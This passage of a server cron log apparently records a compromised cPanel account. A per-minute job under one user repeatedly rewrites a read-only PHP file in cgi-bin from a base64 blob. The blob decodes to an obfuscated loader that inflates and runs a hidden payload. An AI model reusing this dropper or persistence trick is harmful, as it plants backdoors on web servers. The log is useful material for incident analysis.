"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:05:01 server CROND[18369]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 09:05:01 server CROND[18370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:05:01 server CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:05:01 server CROND[18372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:06:01 server CROND[18492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:07:01 server CROND[18560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:08:01 server CROND[18717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:09:01 server CROND[18789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:09:01 server CROND[18790]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 09:10:01 server CROND[18868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:10:01 server CROND[18867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 09:10:01 server CROND[18869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:10:01 server CROND[18871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:11:01 server CROND[19008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:12:01 server CROND[19120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:12:01 server CROND[19121]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 09:13:01 server CROND[19286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:14:01 server CROND[19347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:15:01 server CROND[19411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:15:01 server CROND[19412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:15:01 server CROND[19413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:16:01 server CROND[19525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:17:01 server CROND[19850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUM